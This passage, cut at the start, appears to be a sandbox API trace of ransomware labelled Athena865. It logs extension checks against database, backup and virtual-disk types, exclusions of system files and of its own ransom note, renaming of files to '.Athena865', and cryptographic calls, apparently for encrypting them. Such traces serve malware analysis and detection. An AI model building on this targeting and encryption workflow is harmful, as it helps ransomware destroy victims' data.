(lpString1="LEX", lpString2="ask") returned 1 [0117.289] lstrlenW (lpString="btr") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="btr") returned 1 [0117.289] lstrlenW (lpString="cat") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="cat") returned 1 [0117.289] lstrlenW (lpString="cdb") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="cdb") returned 1 [0117.289] lstrlenW (lpString="ckp") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="ckp") returned 1 [0117.289] lstrlenW (lpString="cma") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="cma") returned 1 [0117.289] lstrlenW (lpString="cpd") returned 3 [0117.289] lstrcmpiW (lpString1="LEX", lpString2="cpd") returned 1 [0117.290] lstrlenW (lpString="dacpac") returned 6 [0117.290] lstrcmpiW (lpString1="AR.LEX", lpString2="dacpac") returned -1 [0117.290] lstrlenW (lpString="dad") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dad") returned 1 [0117.290] lstrlenW (lpString="dadiagrams") returned 10 [0117.290] lstrlenW (lpString="daschema") returned 8 [0117.290] lstrcmpiW (lpString1="B1AR.LEX", lpString2="daschema") returned -1 [0117.290] lstrlenW (lpString="db-journal") returned 10 [0117.290] lstrlenW (lpString="db-shm") returned 6 [0117.290] lstrcmpiW (lpString1="AR.LEX", lpString2="db-shm") returned -1 [0117.290] lstrlenW (lpString="db-wal") returned 6 [0117.290] lstrcmpiW (lpString1="AR.LEX", lpString2="db-wal") returned -1 [0117.290] lstrlenW (lpString="dbc") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dbc") returned 1 [0117.290] lstrlenW (lpString="dbs") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dbs") returned 1 [0117.290] lstrlenW (lpString="dbt") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dbt") returned 1 [0117.290] lstrlenW (lpString="dbv") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dbv") returned 1 [0117.290] lstrlenW (lpString="dbx") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dbx") returned 1 [0117.290] lstrlenW (lpString="dcb") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dcb") returned 1 [0117.290] lstrlenW (lpString="dct") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dct") returned 1 [0117.290] lstrlenW (lpString="dcx") returned 3 [0117.290] lstrcmpiW (lpString1="LEX", lpString2="dcx") returned 1 [0117.290] lstrlenW (lpString="ddl") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="ddl") returned 1 [0117.291] lstrlenW (lpString="dlis") returned 4 [0117.291] lstrcmpiW (lpString1=".LEX", lpString2="dlis") returned -1 [0117.291] lstrlenW (lpString="dp1") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="dp1") returned 1 [0117.291] lstrlenW (lpString="dqy") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="dqy") returned 1 [0117.291] lstrlenW (lpString="dsk") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="dsk") returned 1 [0117.291] lstrlenW (lpString="dsn") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="dsn") returned 1 [0117.291] lstrlenW (lpString="dtsx") returned 4 [0117.291] lstrcmpiW (lpString1=".LEX", lpString2="dtsx") returned -1 [0117.291] lstrlenW (lpString="dxl") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="dxl") returned 1 [0117.291] lstrlenW (lpString="eco") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="eco") returned 1 [0117.291] lstrlenW (lpString="ecx") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="ecx") returned 1 [0117.291] lstrlenW (lpString="edb") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="edb") returned 1 [0117.291] lstrlenW (lpString="epim") returned 4 [0117.291] lstrcmpiW (lpString1=".LEX", lpString2="epim") returned -1 [0117.291] lstrlenW (lpString="fcd") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="fcd") returned 1 [0117.291] lstrlenW (lpString="fdb") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="fdb") returned 1 [0117.291] lstrlenW (lpString="fic") returned 3 [0117.291] lstrcmpiW (lpString1="LEX", lpString2="fic") returned 1 [0117.292] lstrlenW (lpString="flexolibrary") returned 12 [0117.292] lstrlenW (lpString="fm5") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fm5") returned 1 [0117.292] lstrlenW (lpString="fmp") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fmp") returned 1 [0117.292] lstrlenW (lpString="fmp12") returned 5 [0117.292] lstrcmpiW (lpString1="R.LEX", lpString2="fmp12") returned 1 [0117.292] lstrlenW (lpString="fmpsl") returned 5 [0117.292] lstrcmpiW (lpString1="R.LEX", lpString2="fmpsl") returned 1 [0117.292] lstrlenW (lpString="fol") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fol") returned 1 [0117.292] lstrlenW (lpString="fp3") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fp3") returned 1 [0117.292] lstrlenW (lpString="fp4") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fp4") returned 1 [0117.292] lstrlenW (lpString="fp5") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fp5") returned 1 [0117.292] lstrlenW (lpString="fp7") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fp7") returned 1 [0117.292] lstrlenW (lpString="fpt") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="fpt") returned 1 [0117.292] lstrlenW (lpString="frm") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="frm") returned 1 [0117.292] lstrlenW (lpString="gdb") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0117.292] lstrlenW (lpString="gdb") returned 3 [0117.292] lstrcmpiW (lpString1="LEX", lpString2="gdb") returned 1 [0117.292] lstrlenW (lpString="grdb") returned 4 [0117.293] lstrcmpiW (lpString1=".LEX", lpString2="grdb") returned -1 [0117.293] lstrlenW (lpString="gwi") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="gwi") returned 1 [0117.293] lstrlenW (lpString="hdb") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="hdb") returned 1 [0117.293] lstrlenW (lpString="his") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="his") returned 1 [0117.293] lstrlenW (lpString="ib") returned 2 [0117.293] lstrcmpiW (lpString1="EX", lpString2="ib") returned -1 [0117.293] lstrlenW (lpString="idb") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="idb") returned 1 [0117.293] lstrlenW (lpString="ihx") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="ihx") returned 1 [0117.293] lstrlenW (lpString="itdb") returned 4 [0117.293] lstrcmpiW (lpString1=".LEX", lpString2="itdb") returned -1 [0117.293] lstrlenW (lpString="itw") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="itw") returned 1 [0117.293] lstrlenW (lpString="jet") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="jet") returned 1 [0117.293] lstrlenW (lpString="jtx") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="jtx") returned 1 [0117.293] lstrlenW (lpString="kdb") returned 3 [0117.293] lstrcmpiW (lpString1="LEX", lpString2="kdb") returned 1 [0117.293] lstrlenW (lpString="kexi") returned 4 [0117.293] lstrcmpiW (lpString1=".LEX", lpString2="kexi") returned -1 [0117.293] lstrlenW (lpString="kexic") returned 5 [0117.293] lstrcmpiW (lpString1="R.LEX", lpString2="kexic") returned 1 [0117.293] lstrlenW (lpString="kexis") returned 5 [0117.293] lstrcmpiW (lpString1="R.LEX", lpString2="kexis") returned 1 [0117.293] lstrlenW (lpString="lgc") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="lgc") returned -1 [0117.294] lstrlenW (lpString="lwx") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="lwx") returned -1 [0117.294] lstrlenW (lpString="maf") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="maf") returned -1 [0117.294] lstrlenW (lpString="maq") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="maq") returned -1 [0117.294] lstrlenW (lpString="mar") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mar") returned -1 [0117.294] lstrlenW (lpString="marshal") returned 7 [0117.294] lstrcmpiW (lpString1="1AR.LEX", lpString2="marshal") returned -1 [0117.294] lstrlenW (lpString="mas") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mas") returned -1 [0117.294] lstrlenW (lpString="mav") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mav") returned -1 [0117.294] lstrlenW (lpString="maw") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="maw") returned -1 [0117.294] lstrlenW (lpString="mdbhtml") returned 7 [0117.294] lstrcmpiW (lpString1="1AR.LEX", lpString2="mdbhtml") returned -1 [0117.294] lstrlenW (lpString="mdn") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mdn") returned -1 [0117.294] lstrlenW (lpString="mdt") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mdt") returned -1 [0117.294] lstrlenW (lpString="mfd") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mfd") returned -1 [0117.294] lstrlenW (lpString="mpd") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mpd") returned -1 [0117.294] lstrlenW (lpString="mrg") returned 3 [0117.294] lstrcmpiW (lpString1="LEX", lpString2="mrg") returned -1 [0117.295] lstrlenW (lpString="mud") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="mud") returned -1 [0117.295] lstrlenW (lpString="mwb") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="mwb") returned -1 [0117.295] lstrlenW (lpString="myd") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="myd") returned -1 [0117.295] lstrlenW (lpString="ndf") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="ndf") returned -1 [0117.295] lstrlenW (lpString="nnt") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="nnt") returned -1 [0117.295] lstrlenW (lpString="nrmlib") returned 6 [0117.295] lstrcmpiW (lpString1="AR.LEX", lpString2="nrmlib") returned -1 [0117.295] lstrlenW (lpString="ns2") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="ns2") returned -1 [0117.295] lstrlenW (lpString="ns3") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="ns3") returned -1 [0117.295] lstrlenW (lpString="ns4") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="ns4") returned -1 [0117.295] lstrlenW (lpString="nsf") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="nsf") returned -1 [0117.295] lstrlenW (lpString="nv") returned 2 [0117.295] lstrcmpiW (lpString1="EX", lpString2="nv") returned -1 [0117.295] lstrlenW (lpString="nv2") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="nv2") returned -1 [0117.295] lstrlenW (lpString="nwdb") returned 4 [0117.295] lstrcmpiW (lpString1=".LEX", lpString2="nwdb") returned -1 [0117.295] lstrlenW (lpString="nyf") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="nyf") returned -1 [0117.295] lstrlenW (lpString="odb") returned 3 [0117.295] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0117.296] lstrlenW (lpString="odb") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="odb") returned -1 [0117.296] lstrlenW (lpString="oqy") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="oqy") returned -1 [0117.296] lstrlenW (lpString="ora") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="ora") returned -1 [0117.296] lstrlenW (lpString="orx") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="orx") returned -1 [0117.296] lstrlenW (lpString="owc") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="owc") returned -1 [0117.296] lstrlenW (lpString="p96") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="p96") returned -1 [0117.296] lstrlenW (lpString="p97") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="p97") returned -1 [0117.296] lstrlenW (lpString="pan") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="pan") returned -1 [0117.296] lstrlenW (lpString="pdb") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="pdb") returned -1 [0117.296] lstrlenW (lpString="pdm") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="pdm") returned -1 [0117.296] lstrlenW (lpString="pnz") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="pnz") returned -1 [0117.296] lstrlenW (lpString="qry") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="qry") returned -1 [0117.296] lstrlenW (lpString="qvd") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="qvd") returned -1 [0117.296] lstrlenW (lpString="rbf") returned 3 [0117.296] lstrcmpiW (lpString1="LEX", lpString2="rbf") returned -1 [0117.296] lstrlenW (lpString="rctd") returned 4 [0117.297] lstrcmpiW (lpString1=".LEX", lpString2="rctd") returned -1 [0117.297] lstrlenW (lpString="rod") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="rod") returned -1 [0117.297] lstrlenW (lpString="rodx") returned 4 [0117.297] lstrcmpiW (lpString1=".LEX", lpString2="rodx") returned -1 [0117.297] lstrlenW (lpString="rpd") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="rpd") returned -1 [0117.297] lstrlenW (lpString="rsd") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="rsd") returned -1 [0117.297] lstrlenW (lpString="sas7bdat") returned 8 [0117.297] lstrcmpiW (lpString1="B1AR.LEX", lpString2="sas7bdat") returned -1 [0117.297] lstrlenW (lpString="sbf") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="sbf") returned -1 [0117.297] lstrlenW (lpString="scx") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="scx") returned -1 [0117.297] lstrlenW (lpString="sdb") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="sdb") returned -1 [0117.297] lstrlenW (lpString="sdc") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="sdc") returned -1 [0117.297] lstrlenW (lpString="sdf") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="sdf") returned -1 [0117.297] lstrlenW (lpString="sis") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="sis") returned -1 [0117.297] lstrlenW (lpString="spq") returned 3 [0117.297] lstrcmpiW (lpString1="LEX", lpString2="spq") returned -1 [0117.297] lstrlenW (lpString="te") returned 2 [0117.297] lstrcmpiW (lpString1="EX", lpString2="te") returned -1 [0117.297] lstrlenW (lpString="teacher") returned 7 [0117.297] lstrcmpiW (lpString1="1AR.LEX", lpString2="teacher") returned -1 [0117.298] lstrlenW (lpString="tmd") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="tmd") returned -1 [0117.298] lstrlenW (lpString="tps") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="tps") returned -1 [0117.298] lstrlenW (lpString="trc") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0117.298] lstrlenW (lpString="trc") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="trc") returned -1 [0117.298] lstrlenW (lpString="trm") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="trm") returned -1 [0117.298] lstrlenW (lpString="udb") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="udb") returned -1 [0117.298] lstrlenW (lpString="udl") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="udl") returned -1 [0117.298] lstrlenW (lpString="usr") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="usr") returned -1 [0117.298] lstrlenW (lpString="v12") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="v12") returned -1 [0117.298] lstrlenW (lpString="vis") returned 3 [0117.298] lstrcmpiW (lpString1="LEX", lpString2="vis") returned -1 [0117.299] lstrlenW (lpString="vpd") returned 3 [0117.299] lstrcmpiW (lpString1="LEX", lpString2="vpd") returned -1 [0117.299] lstrlenW (lpString="vvv") returned 3 [0117.299] lstrcmpiW (lpString1="LEX", lpString2="vvv") returned -1 [0117.299] lstrlenW (lpString="wdb") returned 3 [0117.299] lstrcmpiW (lpString1="LEX", lpString2="wdb") returned -1 [0117.299] lstrlenW (lpString="wmdb") returned 4 [0117.299] lstrcmpiW (lpString1=".LEX", lpString2="wmdb") returned -1 [0117.299] lstrlenW (lpString="wrk") returned 3 [0117.299] lstrcmpiW (lpString1="LEX", lpString2="wrk") returned -1 [0117.299] lstrlenW (lpString="xdb") returned 3 [0117.300] lstrcmpiW (lpString1="LEX", lpString2="xdb") returned -1 [0117.300] lstrlenW (lpString="xld") returned 3 [0117.300] lstrcmpiW (lpString1="LEX", lpString2="xld") returned -1 [0117.300] lstrlenW (lpString="xmlff") returned 5 [0117.300] lstrcmpiW (lpString1="R.LEX", lpString2="xmlff") returned -1 [0117.300] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.Athena865") returned 76 [0117.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.athena865"), dwFlags=0x1) returned 1 [0117.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.301] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2120459) returned 1 [0117.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.301] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.302] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.302] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.302] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x205e10, lpName=0x0) returned 0x154 [0117.303] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x5e10) returned 0x100000 [0117.305] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0117.438] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0117.456] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.457] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.457] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.458] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0117.458] CloseHandle (hObject=0x154) returned 1 [0117.458] CloseHandle (hObject=0x17c) returned 1 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.467] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="..") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="windows") returned -1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="bootmgr") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="temp") returned -1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="pagefile.sys") returned -1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="boot") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ids.txt") returned 1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="ntuser.dat") returned -1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="perflogs") returned -1 [0117.467] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="MSBuild") returned -1 [0117.467] lstrlenW (lpString="MSB1CACH.LEX") returned 12 [0117.467] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSB1CACH.LEX" | out: lpString1="MSB1CACH.LEX") returned="MSB1CACH.LEX" [0117.468] lstrlenW (lpString="MSB1CACH.LEX") returned 12 [0117.468] lstrlenW (lpString="Athena865") returned 9 [0117.468] lstrcmpiW (lpString1="1CACH.LEX", lpString2="Athena865") returned -1 [0117.468] lstrlenW (lpString=".dll") returned 4 [0117.468] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".dll") returned 1 [0117.468] lstrlenW (lpString=".lnk") returned 4 [0117.468] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".lnk") returned 1 [0117.468] lstrlenW (lpString=".ini") returned 4 [0117.468] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".ini") returned 1 [0117.468] lstrlenW (lpString=".sys") returned 4 [0117.468] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".sys") returned 1 [0117.468] lstrlenW (lpString="MSB1CACH.LEX") returned 12 [0117.468] lstrlenW (lpString="bak") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="bak") returned 1 [0117.468] lstrlenW (lpString="ba_") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="ba_") returned 1 [0117.468] lstrlenW (lpString="dbb") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="dbb") returned 1 [0117.468] lstrlenW (lpString="vmdk") returned 4 [0117.468] lstrcmpiW (lpString1=".LEX", lpString2="vmdk") returned -1 [0117.468] lstrlenW (lpString="rar") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="rar") returned -1 [0117.468] lstrlenW (lpString="zip") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="zip") returned -1 [0117.468] lstrlenW (lpString="tgz") returned 3 [0117.468] lstrcmpiW (lpString1="LEX", lpString2="tgz") returned -1 [0117.468] lstrlenW (lpString="vbox") returned 4 [0117.469] lstrcmpiW (lpString1=".LEX", lpString2="vbox") returned -1 [0117.469] lstrlenW (lpString="vdi") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="vdi") returned -1 [0117.469] lstrlenW (lpString="vhd") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="vhd") returned -1 [0117.469] lstrlenW (lpString="vhdx") returned 4 [0117.469] lstrcmpiW (lpString1=".LEX", lpString2="vhdx") returned -1 [0117.469] lstrlenW (lpString="avhd") returned 4 [0117.469] lstrcmpiW (lpString1=".LEX", lpString2="avhd") returned -1 [0117.469] lstrlenW (lpString="db") returned 2 [0117.469] lstrcmpiW (lpString1="EX", lpString2="db") returned 1 [0117.469] lstrlenW (lpString="db2") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="db2") returned 1 [0117.469] lstrlenW (lpString="db3") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="db3") returned 1 [0117.469] lstrlenW (lpString="dbf") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="dbf") returned 1 [0117.469] lstrlenW (lpString="mdf") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="mdf") returned -1 [0117.469] lstrlenW (lpString="mdb") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="mdb") returned -1 [0117.469] lstrlenW (lpString="sql") returned 3 [0117.469] lstrcmpiW (lpString1="LEX", lpString2="sql") returned -1 [0117.469] lstrlenW (lpString="sqlite") returned 6 [0117.469] lstrcmpiW (lpString1="CH.LEX", lpString2="sqlite") returned -1 [0117.469] lstrlenW (lpString="sqlite3") returned 7 [0117.469] lstrcmpiW (lpString1="ACH.LEX", lpString2="sqlite3") returned -1 [0117.469] lstrlenW (lpString="sqlitedb") returned 8 [0117.469] lstrcmpiW (lpString1="CACH.LEX", lpString2="sqlitedb") returned -1 [0117.470] lstrlenW (lpString="xml") returned 3 [0117.470] lstrcmpiW (lpString1="LEX", lpString2="xml") returned -1 [0117.470] lstrlenW (lpString="$er") returned 3 [0117.470] lstrcmpiW (lpString1="LEX", lpString2="$er") returned 1 [0117.470] lstrlenW (lpString="4dd") returned 3 [0117.470] lstrcmpiW (lpString1="LEX", lpString2="4dd") returned 1 [0117.470] lstrlenW (lpString="4dl") returned 3 [0117.470] lstrcmpiW (lpString1="LEX", lpString2="4dl") returned 1 [0117.470] lstrlenW (lpString="^^^") returned 3 [0117.473] lstrcmpiW (lpString1="LEX", lpString2="^^^") returned 1 [0117.473] lstrlenW (lpString="abs") returned 3 [0117.473] lstrcmpiW (lpString1="LEX", lpString2="abs") returned 1 [0117.473] lstrlenW (lpString="abx") returned 3 [0117.473] lstrcmpiW (lpString1="LEX", lpString2="abx") returned 1 [0117.473] lstrlenW (lpString="accdb") returned 5 [0117.473] lstrcmpiW (lpString1="H.LEX", lpString2="accdb") returned 1 [0117.473] lstrlenW (lpString="accdc") returned 5 [0117.473] lstrcmpiW (lpString1="H.LEX", lpString2="accdc") returned 1 [0117.473] lstrlenW (lpString="accde") returned 5 [0117.473] lstrcmpiW (lpString1="H.LEX", lpString2="accde") returned 1 